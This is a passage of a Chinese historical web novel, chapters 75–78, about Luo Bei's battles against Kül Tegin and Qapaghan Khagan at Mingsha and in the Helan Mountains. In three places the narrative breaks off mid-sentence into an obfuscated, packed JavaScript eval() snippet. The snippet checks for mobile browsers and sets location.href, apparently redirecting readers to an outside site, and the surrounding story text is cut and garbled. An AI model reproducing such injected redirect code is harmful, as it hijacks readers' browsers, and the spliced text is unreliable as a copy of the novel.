阙特勤见周围人慌乱至此,当机立断,也不管什么军令不军令,一把抓过帐篷上的号角,呼呼吹奏起来。 号角是突厥出征之乐,听到此声,不少突厥士兵这才找到了主心骨,纷纷骑马跑向阙特勤这边。 阙特勤抹了一把眼睛上的雨水,命人竖起自己的旗帜和突厥军旗:“左边的人,都跟着军旗去护卫大汗!剩下的人,跟着我与这些狡诈的唐人决一死战!!” 他带着身边士兵向洛北的人马杀去,金戈交错声,呼喝声……连同着雷雨大作,交织在一起,成了一曲响彻魂灵的旋律。 距离太近,洛北和他手下的骑兵也弃了手上的弓箭,改用兵刃与敌人搏斗。很快,战场上一个个战团围聚起来,每个战团中央,都是一个唐人士兵在面向数倍于己的突厥人。 75. 第 75 章 洛北一身银甲,在大雨之中尤为耀眼。他刀气纵横之处,都是倒下的敌人尸首。 哥舒亶突出重围来到他面前,正见到他以一个反手刀花划过敌人的咽喉。血水和雨水一起溅在他的脸上,留下血色的痕迹。 哥舒亶提刀将逼近的两个敌人扫下马来,提高了声音在雨声和雷声之间对他喊道:“洛北!他们已经把军队聚拢起来了。怎么办?!” 洛北抬头望去,阙特勤的大旗和突厥的军旗在夜空中高高飘扬,潮水般的突厥士兵从四面赶来,在这两面旗帜下拼杀。 他不由得笑了一声: “阙特勤要是这点本事都没有,也就不是阙特勤了。” 他直身在马背上,瞄准擎军旗的突厥士兵,放出一箭,这一箭发出尖锐的破空之声,正如金星逐月,正中那人咽喉。 那士兵连带着手中的突厥军旗一道坠下马去,发出一声闷响。 周围的突厥人见此情景,大为惊诧,但便是这么一愣神的功夫,他们被唐人的兵刃击中,一个个倒在了战场上。 阙特勤显然也注意到了这边,他挑开一个挡路的唐军士兵,高声发令:“朝着刚刚放箭的地方冲!” 象征阙特勤的大旗挥舞数下,突厥士兵收到指令,向这边包围而来。 哥舒亶聚拢身边的族人亲卫,与洛北并骑而行,他们冲入敌阵之中,往来冲突,所向披靡。 突厥士兵本来人数占优,被这样一冲,气势渐渐落了下风,竟被他们生生撕开一个突围的破口,冲断了整条阵型。 洛北带着人一路冲出军阵,远远能望到鸣沙城上戍守的布衣百姓。李贞犹在击鼓,战鼓震天动地,鼓舞人心。 他见到洛北一身银甲冲杀了出来,本要按照原计划下令开城门给他们入城修整,却见洛北挥了挥手,调转马头,再次向阵中冲去。 “洛北!”李贞呼喊了一声,却被大雨阻隔在了空中。 雪光般的闪电落下,照亮了洛北脸上决绝的神情,他回头喊了一句:“哥舒亶!” 哥舒亶追在他身后,闻言立刻应答:“洛公子。” “想要破此僵局,只有一条路。擒贼先擒王。”洛北双臂一展,摸出了马鞍上的大弓,“问问你麾下兄弟,谁愿意跟我去取默啜首级!” 哥舒亶紧紧皱了皱眉,这个时候行此险招,是搏命的玩法,却见一个人从战团之中杀了出来,高声喝道:“我去!” 哥舒亶定睛一看,正是自己的一个族亲,名叫哥舒克,此刻杀得兴起,浑身是血,黄发飘扬在夜空之中,像一只怒气冲冲的雄狮。 他手提一只大棒,骑马来到洛北面前:“洛公子!我同你一道去!” 洛北点了点头,也不再问话,向天放出一支响箭,便策马再次向阵中冲杀而去。 “洛公子!”哥舒亶忙催马几下,一舞手中长枪,“我也去!” 他们再次并马而行,所到之处,无不人人避退,寻常士兵根本连和他们正面抗衡的胆气也消失了。他们一路冲杀,一路聚拢部队,冲到默啜的亲卫之前时,身后已有了不少赤水军将士跟随。 洛北向天再次发出一支响箭,呼喝自己的手下率军向默啜的方向围聚而来。他要把默啜困在这个地方,让默啜动弹不得。 默啜也是百战之将,他望着向自己冲杀过来的洛北等人,脸上不禁露出了一丝冷笑:这些人的胆子也未免太大了,这个时候,朝阵中杀来,与找死有什么区别? “弓箭手!杀此三人者,赏百金,千户!”他高声喊道。周围装备精良的突厥骑兵进一步向他围聚,里三层外三层地将他护卫在中央。 阙特勤也注意到了这边的动静,他顾不上还在和唐军缠斗的属下,带着亲卫向默啜的方向赶来。 洛北和哥舒亶每前进一层,便感觉到压力陡重几分,饶是洛北自己,也不得不放下弓箭,转而抽刀应敌。 他何尝不知道冒险刺杀默啜,是近乎疯狂的孤注一掷,只是如今,为了他自己,为了给鸣沙城中的百姓,争一条活路。这一箭是不得不发! 他们刚刚望到默啜的盔甲所在,一阵箭雨,已如瓢泼大雨一般浇了下来。洛北和哥舒亶等人忙挥刀劈箭,巧妙闪躲,一轮下来,还算没有受伤,只是随他们冲杀而来的赤水军士兵倒了一片。 哥舒克被这箭雨逼得憋闷不已,他大吼一声,挥棍在地下横扫一阵,扫得数骑突厥骑兵自顾不暇,跌下马来。 洛北见状,反手一拍马鞍,高高跃起,落在一个突厥骑兵的马背上,驱策马儿向默啜面前而去。 哥舒亶也已经顾不上哥舒克了,他立刻拍马一跃,追在洛北身后。 又一轮箭雨向他们射来。两人一刀一枪,舞成水泼不进的一道光幕,将羽箭尽数挡下。再有不到百步,他们便可杀到默啜近前。 默啜唇边浮现一抹冷笑,策马转身,正要离开,却见一道高大身影冲入阵中,挡在他和洛北二人跟前。 “阙特勤,特来讨教!”阙特勤手持一柄大刀纵马跃入阵中,正挡住洛北劈向一个突厥骑兵的一刀。 默啜饶有兴致地停住了步子,任由自己的亲卫与围攻而来的唐人军队搏杀,自己只在马上,好整以暇地望着这一黑一白的两位将军的厮杀。 洛北上一次和阙特勤在马上过招,还是在数年前的草原大会上。那时他们同是赴会的选手,在马上表演了一场——精彩,但不过瘾。 如今有机会同昔年旧友一决高下,他琥珀色的眼眸中也燃起了熊熊烈火:“好啊!看招!” 他仰身避过阙特勤横扫而来的一刀,反手向前刺出一刀,又为阙特勤避开。 两人你来我往,刀光交错,竟在阵中过了数十招! 周围喊杀震天,二人手中兵刃相撞之际,不断地迸出火花,刀气纵横,让周围士兵都不敢上前。 哥舒亶挥枪扫开两个前来支援的突厥士兵,看着他们胶着的战局,心中暗暗发紧,战场上情形瞬息万变,现在唐军士兵是用性命困住了默啜。倘若突厥大军再次聚拢,情形不堪设想。 洛北显然也意识到了这一点,他提身前压,劈向阙特勤面门,刹那间刀光闪过,阙特勤下意识地仰身抬手格挡。 似乎真是天命所在,一道明亮闪电在天边劈下,阙特勤来不及闭眼,就被洛北身上银甲反射的电光闪得眼前一白,他下意识地低了头。 便是这一低头的空隙,洛北不再恋战,催马快走一步,低身错过阙特勤的兵刃,而后立刻直身立在马上,向默啜的方向放出一支重箭! “默啜,受死!” 此一箭如有雷霆万钧之势,纵然是阙特勤起身正要格挡,也已无力回天,只能眼睁睁看着默啜胸口中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14281697|151857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 箭,甲胄四散飞裂,坠下马去。 他呼喝着“保护大汗!”,命令手下的士兵聚拢起来去默啜身边,自己却反身过来追杀洛北,横劈竖砍,每一出招都是抱了玉石俱焚的意念。 他竟是要不顾一切地把洛北的性命留在这里。 洛北已起了撤退之心,奈何阙特勤发了狠,用尽了全身之力。他每每格挡,都觉得虎口发麻。手中唐刀如果不是陨铁所铸的神兵利器,早在阙特勤的万钧之力之下折断了。 哥舒亶和哥舒克见他应付吃力,忙上前一道来挡阙特勤的大刀。阙特勤应付三人,依旧泰然自若。三人来回周旋,体力渐渐不支,隐约已生败相。 阙特勤……真是个可怕的对手。洛北被阙特勤横刀扫开,险些坠下马去。他勉力稳住自己,向周围一望,胶着的战场上,呐喊声此起彼伏,仿佛与这雷雨一般永无休止。 此时鼓声大起,一道道火把如同游龙一般从侧翼插入了突厥人的阵中。来人昂首而立,他与麾下将士俱是一身白色。 “援军!吐谷浑的援军!” 来将正是留守本地的阴山安乐王慕容宣彻。 主帅坠马,又有敌方的援军到来,此刻不撤,接下去就会全军覆没。阙特勤反应极快,愤恨地向前挥出一刀,逼退众人,高声喊道:“撤军!告诉哥哥和拓西可汗,撤军!” 传令官立刻打马奔向远方,不久,远处响起突厥人的鸣金之声。是阵中的默矩和阿史那匍俱一同下了撤退的命令。 阙特勤斜劈一刀,被洛北反手挡开,雷光再次在天边亮起,照亮了两人满是血水的面容,阙特勤这才注意到,面前人的一双眼睛: 色如琥珀,耀如流金。 “乌特?!”他的声音压在喉咙里没有发出来,就被一阵又一阵的鸣金声打断。他知道,今夜想要把眼前之人留在此地是绝无可能,只得怀着愤恨与不甘收兵而去。 鏖战一夜的唐军也终于得到了休息。众人重回鸣沙城中,各自休整。 直到跳下马时,洛北才感到自己的双手在发抖。但此刻他心中思绪实在太多,他已经无暇分神去想,只在面上装出一派欢乐笑容,与跳下马来的慕容宣彻打招呼: “宣彻王子来得好啊。倘若没有你改变战局,此战危矣。” 慕容宣彻也笑了:“我一接到消息就来了,可紧赶慢赶,还是来晚了,那时突厥大军已经兵临城下,我只有一千来号兵马,不能与他们正面对抗,只好在后面埋伏着,等待时机。若不是洛公子那一箭让敌人自乱阵脚,怕是我这一千人的小队伍也起不到什么作用。” 哥舒亶在一边心服口服地叹了一声:“洛公子百步之外,一箭破甲,此等骑射功夫,是我生平仅见。” “可恨还是偏了一些。”洛北道,“若高三寸,正中咽喉,默啜已经成为箭下亡魂了。” 突厥国内本就混乱,各方势力心怀鬼胎,至今仍然是斗而不破,不过是默啜凭借自己的功勋强压下去。倘若默啜一死,突厥国内立马就会再起内战。 众人哈哈一笑,都不接话。只有哥舒亶拍了拍他的肩:“洛公子,过度谦逊可就是骄傲了。” 说话之间,探马来报,突厥人鸣金收兵,度过鸣沙河,在北方河岸驻扎下来。 “真是贼心不死啊。”李贞叹了一声,“洛公子,你的意思是?” 76. 第 76 章 洛北本是在场众人中年纪最轻,官职最低的,但现在众人都将一双双热切的眼睛望着他,好像这鸣沙城中唯有他能定鼎乾坤。 “兵来将挡,水来土掩。”洛北声音镇静沉着一如往常,“既然敌人不肯退却,我们就主动出击,过河去攻打他们的营地。” 他定定望着雷雨过后一碧如洗的蓝天:“三日,默啜最多需要三日时间就能摸清我军的虚实。所以,哥舒将军,后天清晨,你率一千精锐骑兵,要趁着天未破晓袭击敌人的营地。记住,此战只许败,不许胜。” 哥舒亶抬手放在自己的心脏之前:“遵命,洛公子。” “李刺史,我希望你率披甲步兵扼守河岸阵地,架起盾牌,竖起长矛,面向突厥骑兵的冲击。” “到了这个地步,还谈什么希望不希望?”李贞点头称是,笑着道:“洛公子,你还是直接下命令吧。” 洛北闻言,也不禁一笑:“慎交兄,昨夜突厥大败,默啜也受了伤。如今突厥能担当大任的只有阙特勤一人。他用兵精妙,你这一去,要打的是硬仗。” 他敛容正色道:“记住,无论如何,不能让士兵溃散,如有不从,军法处置。” 李贞的面容也严肃了起来:“是!” “宣彻王子,”洛北望向慕容宣彻:“你和我各率骑兵两千,自左右两翼冲进突厥的军阵,趁着他们围歼我步兵之际,绞杀其余的部队。” 慕容宣彻高声道:“是!” 那天夜里,天空升起了惨淡的月亮。洛北登上城楼,向河对岸突厥营地的地方眺望。 正如他所料,阙特勤的旗帜已经取代了拓西可汗的大旗,在象征突厥大汗的狼头纛后随风飘扬。 这代表着默啜已经把这一次战争的主将职位彻底移交给了阙特勤,也意味着他和阙特勤这对挚友与知己,终究要在真正的战场上一决高下。 过去洛北还是乌特特勤的时候,曾经和阙特勤争过数次高下,赛马、摔跤、打猎、射箭、沙盘推演,甚至是喝酒。两个人各有所长:阙特勤是近战的高手,而他是骑射的行家,他们的较量各有胜负,每每结束之后,总是一笑置之。 但到了如今,他们是在以将士们的性命为棋子,真刀真枪地决生死,赌注便是这场战争的胜利。 洛北突然很想和阙特勤再说些什么,他在县衙的书斋里翻了又翻,才翻出一支半走了调的竹笛。他登上城楼,吹起一首突厥的古歌。这古歌讲述的是土门可汗和室点密可汗兄弟的功绩,还有他们分道扬镳,分裂东西突厥的故事。 月夜里,突厥大营里远远地亮起火炬,有个人影从帐篷里走出来,远远地朝这边望。 洛北继续吹奏着,这首漫长的古歌在漆黑的夜里传得很远。直到结束,他放下竹笛,也朝那边深深地望了一眼。 隔得太远,连面容都看不清晰,只有一个人影,立在那里。没有人说什么,或做什么。大战当前,说什么或做什么都是徒劳无功。 月亮渐渐地淡下去了。洛北转身要走,几步路的功夫,从突厥营地的方向,突然传来一声凄厉的哨音,像是一声飞鸟的哀鸣。 于是他知道,那就是阙特勤的回答。 两日后,天未破晓,哥舒亶已经率军开拔。他把惯常使用的长枪换成了一柄镔铁马槊,带着一众如狼似虎的骑兵冲入突厥营中,左突右冲,不久,营地中就冒出一阵又一阵的狼烟。 论军事,阙特勤远比拓西可汗出众得多。他一遇突袭,丝毫不乱,立刻击鼓聚将,命一众步兵竖起盾牌,留时间给骑兵整装上阵。待到骑兵整装待发,立刻亲自率军与哥舒亶对冲。 日前被打得溃不成军的突厥骑兵,竟在阙特勤的麾下重新变为了一支完整的军队,跟着他的副官高高举起的那只“阙特勤”的大旗,向哥舒亶的骑兵围猎而来。 哥舒亶一面挥槊抵挡纷纷射来的箭雨,一面急令部下后退,心底却不免苦笑,还好洛北让他只败不胜,若是真的袭营,被阙特勤这样一冲,军阵溃散,他今日便要交待在这里。 他不敢怠慢,匆匆招呼众人渡过鸣沙河,朝着步兵长矛阵后的空地撤退而去。而他的身后,阙特勤的副官高高地擎着“阙特勤”的军旗,带着一众突厥骑兵向唐军的河岸阵地袭来。 突厥骑兵人人身皆披轻甲,在阙特勤的带领之下向步兵阵地扑来。他们为盾牌和长矛所阻,但声势不减。两军相撞,一时之间,金戈相撞,喊杀震天。但唐军组织严密,始终没有让突厥人占了半分便宜去。 见第一波骑兵为人所阻,阙特勤干脆利落地下了回撤的命令。他率军回撤到河岸,再度率军向唐军的步兵阵地冲来。 突厥骑兵如洪流般冲向长矛军阵,一些边角处已无法守住。几个负责机动的队正忙自己顶了上去——长矛阵虽然稍有松散,但未有溃败,依旧是堪堪守住了。 阙特勤当机立断,再度回撤,这一次他孤身单骑冲在最前。李贞见状,立刻让阵中弓箭手放箭,一时飞箭如雨,射倒了一片冲锋的突厥骑兵。阙特勤肩部中箭,依旧策马疾驰,他挥刀左劈右砍,撂倒了一片长矛,生生给身后的突厥骑兵杀出了一条血路。 “真不愧是突厥第一勇士,名不虚传。”阵中的李贞感慨一声,急令传令官挥舞旗帜,示意洛北和慕容宣彻进攻。 阙特勤看到旗帜舞动,已猜到会有埋伏。他转头对自己的一个亲兵道:“立刻回营,请哥哥和拓西可汗出兵援助——” 那亲兵得了令,沉默地一拱手,飞快地调转马头回突厥大帐去了。 洛北和慕容宣彻率军从侧翼冲入突厥阵中,突厥骑兵冲锋不成,已是心情低落,哪还经得起这样一冲。当下阵型大乱,洛北带着他那二十八骑亲兵,如一柄利刃直插突厥军阵的中心。 阙特勤见他现身,丢开几个缠斗他的唐军步兵,策马来到了他面前,微微冷笑:“乌特。又见面了。” 周围士兵都在厮杀,战团之中,此声几近微不可闻。洛北却听得分明,他轻笑一声,放下弓箭,从腰侧抽出了那把陨铁所铸的唐刀:“来吧。” 阙特勤一催马冲上前,一柄大刀在手中如有雷霆万钧之势,向洛北当头挥来。 这一击避无可避,只有硬接。洛北双手执刀,凝神上挡,两人角力了片刻。洛北一点刀刃,借着神兵利刃,将阙特勤的大刀击飞了出去。 阙特勤反应极快,趁着马匹错身的功夫,在地上捡了把长枪继续对阵。 见他换了把长兵,洛北也接过亲兵抛过来的一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14281698|151857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把长枪与他对攻。他凌空划开一个圆弧,挡开阙特勤向他挥来的一枪,又飞快地刺出一枪,直打阙特勤头部。 阙特勤丝毫不慌,他仗着自己力气惊人,将枪头斜挑,立刻将洛北这一□□击打得偏了开来。 “好枪法。”洛北低声以突厥语喝道,仿佛他们此刻不是在可以决生死的战场,只是在突厥的秋猎大会上做一场表演,“看招!” 他提起一枪狠刺了过去,阙特勤横枪挡住这一记。两柄长枪碰撞之时,发出龙吟一般的巨响,火花四射。 洛北近战本不如他,数十招过后,头上已有了汗水。阙特勤越战越勇,提枪朝着洛北腰部横扫而来。 洛北咬了咬牙,干脆一拍马鞍,一跃而起,站到地上,才堪堪躲过这一击。阙特勤见状,立刻提起马向他踏来。 善于骑射的将领往往可以把马匹变为自己的武器。这一踏下去,洛北就是不死也要残疾。 洛北后退数步,被什么绊倒,跌坐在地上。他手中长枪滚出去数丈,只摸到旁边一具尸首上的弓箭。他在地上滚了个身,捡起那副弓箭,向阙特勤放出一箭。 这一箭正中阙特勤所乘坐的那匹马的眼睛,一箭穿过,马儿凄厉地鸣叫一声,重重地跪倒在地,把阙特勤摔下了马。 “好箭法。”阙特勤轻轻一笑,也夸了他一句。 两人各自提刀,还要再战一回。远方却不断地传来鸣金的声音,这一声又一声有如催命符咒,击垮了突厥军队的军心。 阙特勤脸上露出错愕神色,却见副官打马向这边冲来:“大汗命令,撤军!撤军!” 阙特勤望向副官,口中有无数疑问要问,又有无数想法要说。但此刻他一个字都说不出来,只得被副官一拉,拉上马去。 象征阙特勤的大旗向河岸撤去,突厥骑兵顿时溃败,在洛北和慕容宣彻的追剿之下节节败退。 突厥大营之中一片混乱,一众将领都忙着撤退的事宜。 阙特勤甲胄带血,闯到默啜驾前,人人都是神情凝重,闭口不言:“大汗!出了什么事?我们本来有机会打赢唐军的?!为什么突然撤退?” 默矩在一边,神情沉重地望着他:“阙特勤.......拔汗那人,反了。” 拔汗那人是一直在药杀水附近游牧的民族,曾经是大唐的臣属,但长寿二年不堪武周的边将暴政,改向突厥臣服。这一次突然叛乱,实在令人猝不及防。 “拔汗那人一时半会儿打不到这里来!”阙特勤心有不甘,“唐军数量不多,只要你们率军援助,大军包围,他们必会失败!” 默啜本就有伤,听到这个能干的侄子当众忤逆自己,痛得不能自已:“混账!你想让我死吗?滚出去准备撤退!” 阙特勤气得掀开帘帐跑了出去。默矩忙追在他身后:“拔汗那人叛乱,袭击我们的腹地,情况实在紧张。我们和唐军的战争不是一天两天的事情,你何必急于一时呢?来日方长。” “来日方长?”阙特勤冷笑了一声,“没有什么来日方长!大哥,你知道唐军的主将,一箭射伤了大汗的人是谁吗?就是乌特。我们从小和他一起长大,他是什么样的人你我会不知道?如果这一次不能杀他,他会成为汗国最可怕的敌人!” 77. 第 77 章 “我看你是疯了。”默矩目眦欲裂,他抓着阙特勤的手腕,把他拽到一边无人处,又四下张望,确认周围无人听到,才压低了声音喝问阙特勤:“你说什么?乌特还活着?!” “是。”阙特勤自知失言,但说出去的话也收不回来了,“我在阵中和他过招的时候,看到了他的面容。大哥,是他没错。” 默矩深深叹了口气:“当年乌特葬身黑沙暴中的消息是你和大汗的亲卫们带回牙帐的。这么多年不是没有人怀疑过,但每一次都是大汗和你一起把消息压了下来。如今他竟然‘死而复生’,你是不是应该告诉我这个当哥哥的,当年的事情到底是怎么回事?” 阙特勤刚刚的那番神气一下子消沉了,他犹疑片刻,才把当年默啜挑动两人自相残杀的毒计说了出来。 “我叔可汗为了打击我们兄弟,真是不择手段。”默矩听完事件始末,不免感慨一句:“乌特他肯定恨极了默啜。不然也不会千方百计地在战场上和我们作对。你说得对,他会成为汗国最可怕的敌人。” “哥哥。倘若是你我遇到这样的事情,我们能够不恨吗?”阙特勤深深地叹了口气,“他现在一定会率军在我军之后紧追不休,以期消耗我们的军力。哥哥最好借我一半兵力,我要在撤退途中设下埋伏来对付他。” 他见默矩沉默不语,不由得又补上一句:“整个汗国也就只有我能称得上他的对手。换了任何人去,都只会成为他的手下败将。” 默矩望了他一眼,见自己这个弟弟神情昂扬,意气洒脱,知道他鸣沙一战,败得实在是不服气:“好吧,我把我麾下的一半兵马借给你。记住,不论你此行成败如何,回来都不要再提起乌特。” 他说着,深深地叹了口气:“他在西突厥旧部中影响太大,如果被那些人知道他不仅还活着,还投向了唐朝,他们肯定会追随这位主人。到那个时候,我们要对付的就不仅仅是一个拔汗那人了。” 一只高飞的金雕,穿过云层,落在了骑在高头大马的洛北肩头。洛北摸了摸金雕的脑袋,随手摸起挂在马鞍上的一袋肉干喂给它,从它的脚环上抽出了一张字条:“慎交兄,你看看吧。” 他们将鸣沙城的战果禀报朝廷之后,便组织军队,追着突厥大军后撤的路线一路北上,途中大大小小数十战,皆以骚扰突厥军队,解救被掳走的马匹和百姓为目的,搅得突厥人不得安宁,一路丢下许多辎重。 大唐旗帜飘扬之处,回到故土的百姓欢欣鼓舞,感恩涕零。李贞便分出一部分不便行动的重甲步兵,安置到各地帮助百姓重建家园。他正处理完一部分灵州城的官司,不明就里地接过字条一看: “拔汗那人叛乱?这就是默啜撤军的理由?” 洛北点了点头:“不错,拔汗那人居于药杀水附近,一直是养马的大户,显庆三年,西突厥国灭。他们便投降了大唐。当时,大唐将他们封为休循州都督。” 哥舒亶听他们正在讨论西突厥故地的事情,忙打马上来,加入他们这番讨论:“不错。后来太后执政,边将暴虐,一直向他们索要苛捐杂税,才逼反了他们。如今他们既然主动举起叛旗,说明有了思归大唐之心,我们不妨上书朝廷,让朝廷派出使节招抚他们。这样拔汗那人就会成为插入突厥腹地的一颗钉子。” 李贞点了点头:“这话说得对,但拔汗那人远在西域,离灵州太远。我们鞭长莫及。这份奏疏我来写或者你来写都不合适。哥舒亶,现任北庭都护阿史那献将军也是一位西突厥可汗吧?你与他相熟否?你写封信给他,叫他上奏。还有安西都护郭元振那里,洛北你要去信。” 哥舒亶立刻点头应允:“我的堂叔哥舒道元久在长安,也在禁军中任职,与阿史那献将军相熟。我这就给堂叔去信,只是.......这消息来源让我怎么写呢?” 他这话一说,李贞和哥舒亶才同时意识到不对劲。朝中还没有拔汗那人叛乱的消息,洛北这位年轻的鸣沙县令,到底是从哪得来的情报? 洛北感到了他们投来的目光,却没有要解释的意思:“写信的事情我看不必。两位都护远在西域,消息肯定比我们要灵通得多。如今我们当务之急,就是消耗掉突厥的军力,让突厥主力不要那么快回援。” 李贞点了点头,没再说话。三人率领三千轻骑一路追击,日落西山时,便到了贺兰山前。 贺兰山峰峦苍劲,青白驳杂,远望如同骏马。越过贺兰山,便进入了茫茫草原,是突厥骑兵奔驰之地。如今冬风阵阵,四处落叶飞舞,是一片萧条景象。 洛北道:“慎交兄、哥舒将军,以我的意思,我们不妨开入贺兰山中,依山下帐,暂作修整。” 哥舒亶疑惑道:“我们和突厥都是轻骑为主。我们现在驻扎的这个地方,背后是一片山林,面前也是山地,虽然地势不高,但是方圆数十里,都是密林。这个地方极易遭受敌人突袭,为什么洛公子做如此安排?” 洛北笑道:“因为我已经猜到会有突厥骑兵前来袭击,而且这些骑兵的领军之人一定会是阙特勤。” “哦?要说有敌人突袭我不奇怪,”李贞在一边笑道,“但洛北你何以如此肯定,前来的主将一定是阙特勤?因为他是默啜手下唯一可用之人?” “我猜阙特勤已经看破了我们的意图,为了给默啜争取时间,他才会主动前来设伏。”洛北轻轻叹了口气:“阙特勤这个人,军事武艺皆属上乘。唯一一个缺点,就是急躁。所以我才设下这样请君入瓮的计策。” 慕容宣彻一直在一边听他们说话,此刻终于忍不住笑了:“听洛公子这话,倒像是和阙特勤很熟悉似的。洛公子,你下令吧,我们具体应该怎么做?” 大军在山间安营扎寨,一切井然有序。伙头兵埋锅造饭,烹起了香喷喷的饭食。数日奔波以来,军人们还是第一次吃到这样可口的饭食。李贞和慕容宣彻带着几十军士,点起了十几堆篝火,大声说话,高声欢唱,还绕着火堆跳起了几圈胡旋舞。 洛北和哥舒亶带着三千下了马的骑兵,埋伏在半山腰上,盯着峡谷两端。冬日霜寒很快随着夜色降临林间,为这番暗战添了几分肃杀之气。 狂欢到半夜时分,李贞和慕容宣彻才各自回了军帐。一片营帐灯火熄灭,处处寂静无声。只有岗哨巡查踩断树枝的声响,与篝火燃烧的哔剥之声响彻黑夜。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14281699|151857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 洛北仗着身手好,任由眉睫都凝上了霜,都不挪动一步。哥舒亶可没他那么好的耐心,一面搓手哈气,一面低声抱怨道:“洛公子,你说阙特勤真的会来吗?” 洛北点了点头,心里也不禁有些打鼓——难道阙特勤比他想象的还要沉得住气得多,竟然看破了他这番虚应故事? 正在这个时候,洛北安排在两边的亲兵纷纷跑来,低声报道:“公子,有敌袭!有敌袭!敌人纠集了一万大军,左右各有五千人,都是骑兵。” “总算来了。”洛北低声道了一声,“准备迎战!” 埋伏在山腰上的军士顿时打起了精神,蓄势待发。 慕容宣彻和李贞在军帐中等了小半夜,此刻已经有些昏昏欲睡,忽而营帐之中火光冲天,将帐篷、粮草等物都烧成了一片—— 阙特勤率着提着一柄钢刀,大喊着:“冲进去——杀。”身先士卒,带着一众骑兵,杀入了大帐之中。两边浓烟密布,他率领军队扑杀一阵,却感到十分不妙。他目之所及,只有大火,没有一个人出来应战。 “糟了!有埋伏!”他率兵回撤,正撤到营门之前。忽而山林之上喊杀声震天动地,似乎有千军万马冲杀而来。 李贞和慕容宣彻也毫不畏惧,带着那几百士兵跨上骏马,冲杀了出来:“阙特勤,我们在此恭候多时了!” 阙特勤哪里还能想不到自己中计。他挥舞着大刀,高声喊撤,自己却与亲兵一道,组成了一道防线,拦在众人之前。他身为主将,却甘愿殿后,激得一众突厥骑兵爆发出昂扬斗志,与洛北他们所率领的骑兵一碰,硬是撕扯出一条血路来。 洛北所带的亲兵都经过他的指教,骑射功夫十分了得,但这里地形狭小,他们只能射出一轮箭雨,便要和阙特勤麾下的骑兵迎面相撞。饶是箭无虚发,也不能够冲溃敌军。 洛北眼见敌军已到二十步外,急中生智,当下命令自己的亲兵和部队都换刀下马,改骑为步。他们所配发的都是唐军所持的一丈二的陌刀,在近距离的胶着战中,足以应付失去了冲击力的骑兵。 哥舒亶依旧率着麾下一众骑兵,冲杀一阵,终于与慕容宣彻和李贞率领的骑兵合了围。阙特勤已将自己手下的军队撤出去大半,此刻想要率领自己手下的亲军突围,已是来不及了。 他眼见周围的亲军士兵,倒的倒,伤的伤,知道突围已无可能,他不禁仰天长啸一声:“是我输了。”而后主动迎着唐军箭雨,身中数箭,倒在了地上。 天色拂晓,地狱般的贺兰山中终于恢复一片宁静。数千具尸首倒在各处,鲜血染红了整片地面。 “真是大胜仗啊!”慕容宣彻挽了挽袖子,脸上一片容光焕发的神色:“默啜的精兵在这里丢了两三千,恐怕他三五年都不会再想入侵灵州了。” 李贞也是红光满面:“不错,我这就上书朝廷,为咱们表功!对了,哥舒亶和洛北怎么都不见踪影?他们可都是功臣。” 他话到一半,却看到哥舒亶一脸愁容,向他们走了过来,还未及李贞开口询问,他就低头抱拳道: “两位,沙吒将军已经回到灵州,召两位过去议事呢。” 78. 第 78 章 “我说巴彦啊,二十八个人就独你一个人受了伤。你丢不丢人啊。” 不远处的营帐中,大锅中药气翻滚,柔软的毛毡安置着不少伤兵,几个军医穿梭期间,对着一众伤兵端茶送水,裹伤擦药,一切都井然有序。 洛北手下的亲军们正围着一个受伤的大汉嬉笑。那大汉身长八尺,满面胡须,端的是器宇轩昂,威风凛凛,身上却插着一根羽箭,深入左肩。他低着脑袋咬着一根洗净了的麻布卷,微微挣扎着向一边的洛北示意。 洛北削断箭杆,洗净了手,用过了烈酒的金刀在伤口上划出一道十字,微微用力,将箭头从伤口挑出,铛地一声丢进一边的盆里。 巴彦浑身都是冷汗,还有空抬头与一众兄弟嬉笑:“嗨,关二爷刮骨疗毒不过如此了吧。咱怎么也算得上英雄。” “好了,大英雄,你就庆幸箭头上没有淬毒吧。否则此箭离心脉如此之近,你怕是撑不到回来了。”洛北不客气地挑起一只玉盒中的药膏,厚厚地涂在他的伤口上。 那药膏有些辛辣,巴彦脸上一抽,慌忙告饶:“轻些,公子爷,轻些。” 旁边有人笑道:“这样看,那突厥主将倒是个光明磊落的汉子。我得告诉军医,对他客气些。” 洛北似乎这才意识到阙特勤已经被俘,他缓缓地站起身,佯作不经意地问自己的一个亲兵:“突厥主将在哪里?” 众人七手八脚地给他指了方向。他迈步走进一处阴沉冷寂的山洞中,两个军医正在替阙特勤剪开身上染血的衣服,其中一人正要拉着他的左腿把他拖到一边,却被洛北一声喝住: “不要这样动他。” 